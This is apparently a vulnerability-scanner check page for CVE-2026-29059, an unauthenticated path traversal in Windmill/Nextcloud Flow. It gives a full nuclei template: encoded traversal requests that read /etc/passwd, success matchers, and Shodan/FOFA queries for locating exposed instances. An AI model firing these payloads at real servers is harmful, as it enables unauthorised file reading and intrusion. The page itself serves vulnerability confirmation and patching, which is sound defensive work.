Windmill/Nextcloud Flow < 1.603.3 - Unauthenticated Path Traversal

criticalseverity

10CVSS score

3.1%likelihood of exploitation, next 30 days

88%of all CVEs are less likely

Readycheck to confirm it

Windmill < 1.603.3 contains a path traversal caused by unsanitized filename parameter in get_log_file endpoint, letting unauthenticated attackers read arbitrary files on the server, exploit requires no authentication.

Impact

Unauthenticated attackers can read arbitrary files on the server, potentially exposing sensitive information.

Fix

Update to version 1.603.3 or later.

How to confirm it

Send: GET {{BaseURL}}/api/w/_/jobs_u/get_log_file/..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd ; GET {{BaseURL}}/api/w/_/jobs_u/get_log_file/..%2F..%2F..%2F..%2Fetc%2Fpasswd ; GET {{BaseURL}}/index.php/apps/app_api/proxy/flow/api/w/_/jobs_u/get_log_file/..%25252F..%25252F..%25252F..%25252F..%25252F..%25252Fetc%25252Fpasswd ; GET {{BaseURL}}/index.php/apps/app_api/proxy/flow/api/w/_/jobs_u/get_log_file/..%25252F..%25252F..%25252F..%25252Fetc%25252Fpasswd
Positive when: contains "root:x:0:0:" AND not contains "<!DOCTYPE" or "Err:" AND status 200

Run it with nuclei: nuclei -id CVE-2026-29059 -u <target>

The full check

id: CVE-2026-29059

info:
  name: Windmill/Nextcloud Flow < 1.603.3 - Unauthenticated Path Traversal
  author: 0x_Akoko
  severity: critical
  description: |
    Windmill < 1.603.3 contains a path traversal caused by unsanitized filename parameter in get_log_file endpoint, letting unauthenticated attackers read arbitrary files on the server, exploit requires no authentication.
  impact: |
    Unauthenticated attackers can read arbitrary files on the server, potentially exposing sensitive information.
  remediation: |
    Update to version 1.603.3 or later.
  reference:
    - https://github.com/Chocapikk/Windfall
    - https://chocapikk.com/posts/2026/windfall-nextcloud-flow-windmill-rce/
    - https://nvd.nist.gov/vuln/detail/CVE-2026-29059
  classification:
    cvss-metrics: CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H
    cvss-score: 10.0
    cve-id: CVE-2026-29059
    epss-score: 0.03053
    epss-percentile: 0.87687
    cwe-id: CWE-22
  metadata:
    max-request: 4
    vendor: windmill
    product: windmill
    verified: true
    shodan-query: http.html:"Windmill" http.html:"svelte-global-loader"
    fofa-query: app="Windmill"
  tags: cve,cve2026,windmill,nextcloud,lfi,unauth,vkev

http:
  - method: GET
    path:
      - "{{BaseURL}}/api/w/_/jobs_u/get_log_file/..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd"
      - "{{BaseURL}}/api/w/_/jobs_u/get_log_file/..%2F..%2F..%2F..%2Fetc%2Fpasswd"
      - "{{BaseURL}}/index.php/apps/app_api/proxy/flow/api/w/_/jobs_u/get_log_file/..%25252F..%25252F..%25252F..%25252F..%25252F..%25252Fetc%25252Fpasswd"
      - "{{BaseURL}}/index.php/apps/app_api/proxy/flow/api/w/_/jobs_u/get_log_file/..%25252F..%25252F..%25252F..%25252Fetc%25252Fpasswd"

    stop-at-first-match: true

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "root:x:0:0:"

      - type: word
        part: body
        words:
          - "<!DOCTYPE"
          - "Err:"
        condition: or
        negative: true

      - type: status
        status:
          - 200

References

Use this check only on systems you are authorised to test. Where the data comes from